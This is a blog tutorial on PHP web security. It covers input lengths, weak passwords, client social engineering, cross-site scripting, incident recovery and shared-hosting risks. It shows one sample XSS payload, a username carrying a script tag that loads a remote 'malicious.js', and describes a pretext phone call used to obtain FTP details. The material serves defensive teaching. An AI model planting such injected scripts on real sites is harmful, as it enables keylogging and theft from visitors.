The third part of the Writing Secure PHP series, covering weak
passwords, clients and more advanced topics.
In How to write secure code in Php-1, 2 and 3 I covered many of the
basic mistakes PHP developers make, and how to avoid common security problems.
It is time to get a little deeper into security though, and begin to tackle
some more advanced issues.
Context
Before I start, it is
worth mentioning at this point in this series that much of what is to come is
highly dependant on context. If you are running a small personal site and are
regularly backing it up, the chances are that there is no real benefit to you
spending weeks on advanced security issues. If an attacker can gain nothing
(and cause no harm) by compromising your site, and it would only take you ten
minutes to restore it, should something go wrong, then it would be a waste to
spend too long on security concerns. At the other end of the scale, if you are
managing an ecommerce site that processes thousands of credit cards a day, then
it is negligent not to spend a lot of time researching and improving your
site's security.
Database Field Lengths
Database (we're going
to talk about MySQL here, but this is
applicable to any database) fields are always of a specific type, and every
type has its limits. You can as well, in MySQL, limit field lengths further
than they are already limited by their types.
However, to the
inexperienced developer, this can present problems. If you are allowing users
to post an article on your site, and adding that to a database field with type
"blob", then the longest article you can store in the database is
65,535 characters. For most articles that will be fine, but what is going to
happen when a user posts an article of 100,000 characters? At best, if you have
set up your site so errors are not displayed, their article will simply vanish
without being added to the site.
Remember that for an
attacker to be able to compromise your system, they need information about it.
They need to find weaknesses. Error messages are a very powerful part of that
and if you are displaying errors, then an attacker can make use of this to find
out information about your database.
To fix this, simply
check the lengths of data input through forms and querystrings and ensure that
before you launch a site you check forms will not cause errors to be displayed
when too many characters are entered.
Weak Passwords
Dictionaries are a
useful tool for an attacker. If you have a site with a login system and your
database were compromised (and there is no harm in assuming that at some point
it will be), an attacker can grab a list of hashed passwords. It is difficult
(practically impossible) to directly translate a hash back into a password.
However, most
attackers will have databases containing lists of words and their matching
hashes in common formats (eg a database with all words in English and their MD5
hashes). It is fairly easy, should someone gain access to your database, for
them to compare a hashed password to this list of pre-hashed passwords. If a
match is found in the list, the attacker then knows what the un-hashed password
is.
There are ways to
avoid this problem, and the best of those is to ensure that only strong
passwords are ever used. Some people find guaging the strength of passwords
tricky, but the general rule of thumb is: a password like "password",
"admin", "god", "sex", "qwerty",
"123456" or similar (i.e. easily guessable) is extremely weak; a
password made up only of a word in the dictionary is weak; a password made of
letters, numbers and making use of upper and lower case is strong (there is a
strong usability case to be made for not using case-sensitive passwords - if
you wish to use case-insensitve ones, simply perform checks to ensure people do
not pick passwords like "password12345").
Clients
Clients are a huge
security risk, believe it or not. Some will hire a cheaper developer to make
small changes six months after you're finished. Some will give out FTP details
to anyone who phones and asks for them. [Out of curiosity, I decided to see how
easy it is to get FTP details over the phone. I visited the site of a local
company (who shall remain nameless) and found the name of their design company
(who shall also remain nameless). I then phoned the local company and told them
I was with the design company and needed them to send me the site's FTP
details. They agreed without question or hesitation. Scary. (I told them what I
was doing before they sent any sensitive data to me and they are now better
educated and suitably paranoid about people asking for details over the
phone).]
Some will ignore
emails from people pointing out security problems (in the process of writing
the previous article in this series, I found a large selection of sites with
publically available database connection scripts. I emailed the owners
explaining why they are at risk, and only one has replied and had the problem
fixed at the time of writing). Admitedly, many of the emails and calls they
receive will be misinformation or sales pitches, but it is still worth them
having someone check this out - they do not know enough to distinguish a
genuine problem from the rest.
Unfortunately, this is
one security problem that cannot be solved with code. This one requires
education. For this reason, I have created an unbranded copy of the sheet I
give to my clients, with a selection of security tips on. When we launch the
site, I sit down with them and tell them how they need to treat their site, and
what to consider when making decisions regarding it.
Code Injection (a.k.a.
"Cross-Site Scripting")
Unlike SQL Injection,
which relies on the use of delimiters in user-input text to take control of
database queries, code injection relies on mistakes in the treatment of text
before it is output. Or, to put it in simpler terms, code injection is where a
malicious user uses a text box to add HTML that they've written to your
webpage.
Let's say you have a
system that allows users to register as members to your site and that they are
allowed to create their own username. They fill out a form, and you insert the
data they enter, once you've made it safe to use in a SQL query, into a
database. Your members listing page fetches all the usernames from the database
and lists them, outputting exactly what is in the database to anyone that views
that page.
Now, let's say you've
not added a limit to username lengths. Someone could, if they wanted, create a
user with the following username:
Username<script type="text/javascript"
src="http://www.website.com/malicious.js"></script>
Anyone that then views a page with that username on it will see
a normal username, but a JavaScript has been loaded from another site invisibly
to the user.
There are plenty of uses for this. First and foremost, it allows
attackers to add keyloggers, tracking scripts or porn banners on your site, or
just stop your site working altogether. There are several ways to ensure this
doesn't happen. First, you could encode HTML in usernames. If you wanted to
allow people to use greater-then and less-than signs in their usernames, that
is. If not, you can strip these characters out, or strip out HTML tags
altogether.
Another, better way to approach this is to limit the character
set that can be used in usernames. If you only allow letters and numbers, for
example, you could simply use a regular expression in the signup process to
validate the username and force the user to pick another if they have
disallowed characters in their username. Obviously the problem is not just
applicable to usernames - however, as with most other security concerns, being
quite paranoid will ensure that you always check data coming from a user before
outputting it, and sanitising it in an appropriate way.
Aftermath
Part of a good security strategy is the assumption that at some
point everything (and I mean everything) will be deleted or destroyed. It is
wise to assume that at some point any security measure you have in place will
be compromised. All data may be taken (which is one reason why it is important
to encrypt things like passwords and credit card numbers in databases), all
files deleted and so on.
One part of PHP development, though perhaps not directly about
PHP security, is ensuring that after a catastrophic failure a site can be
brought back online quickly. While downtime of four hours maybe acceptable with
a low-traffic point-of-presence site, any ecommerce retailer is going to erupt
with fury at the thought of that much lost revenue.
Dealing with the client under these circumstances is the first
step. Often, your first inkling of a problem with a site may actually come from
the client. They may have phoned you and could be angry, worried, or a myriad
of other emotions. At moments like this, you would be very glad to have a clear
contigency plan in place. Many developers panic when the client phones saying
their front page has been defaced. Stick to your action plan and to your client
you will seem confident and unphased. That will relax them. The plan will also
allow you to resolve the problem far faster.
First, find out what happened. Are you dealing with a security breach
or has someone at the host company tripped over a power lead? Was the database
compromised, or deleted, as a result of an attack or was your server simply
unable to cope with too much traffic? You need to know what has happened in
order to deal with it - a site going offline could be down to too many factors
to just assume it is a security problem.
Assuming this is a security problem, the next step is to
reassure the client. Let them know what has happened. If someone got into the
database, no problem - all sensitive data is encrypted. If they've uploaded
files to your server (quite possible), you'll have to delete all files and
restore from a backup.
You've got to find out how the attacker broke into your system.
Check log files, if you have access to them. Also, have a look at hacker and
cracker web sites - many of them will list successful attacks against servers
by various groups (these are often what are sometimes known as "script
kiddies" - not hackers as such, but usually exploiting vulnerabilities
found by others). You may well find your site listed and that listing will give
you invaluable information. Look at other sites brought down by the same group
at around the same time - you will often spot a theme (e.g. all sites that have
been attacked were running the same version of IIS or Apache, were all running phpBB, or
all are file repositories running on CFML).
If you are running any third party software on the site, check
the distribution site and if necessary get in touch with them, especially if
other sites running the same software appear to have been compromised.
It is very important that you fix any hole there may be before
you restore the site. It would be wise to add a "We are currently
undergoing essential maintenance" page, but do not fully restore the site
before you have found out and fixed whatever the problem was - you'll be
wasting your time.
Shared
Hosting
Shared hosting is much cheaper than dedicated hosting, and is
where several sites are all hosted on the same server. Most sites are hosted
this way, and this brings with it its own set of security issues.
First and foremost, the security of your site is, in these
circumstances, almost entirely out of your hands. It is dependant on the
hosting company you are with. They may be excellent, or they may be crooks.
Check reviews of a company before you select them, as they will have access to
all the data you store with them. There is no harm in being automatically
suspicious of your hosting company.
If they are completely above board (and most are), you are still
not necessarily secure with shared hosting. The security measures they put in
place are generally pretty simple. Shared hosting servers should always use
PHP's safe mode (which disables many of the more advanced and dangerous
features of PHP). That is what it is there for. However, many don't.
Vulnerabilities associated with shared hosting are, for the most
part, out of your hands. A badly set up server will allow any site on that
server to access files like /etc/passwd and httpd.conf, often giving them
access to all other sites on the same server. It is possible to secure yourself
to some degree against the effects of this vulnerability. Storing information
in a database is recommended. Of course, if you then store your database login
in a file, an attacked could access this information. In order to make this
inaccessible to others on the same server, you could set database login
information within the httpd.conf file, using environmental variables (you will
need to ask your host company to add the lines to the httpd.conf file).
Better yet is to ensure that your host, if shared, uses safe
mode. While this is still not 100% secure (nothing is), it does help make these
attacks more difficult. A dedicated server is another, far better, option, but
the expense may be prohibitive.
No comments:
Post a Comment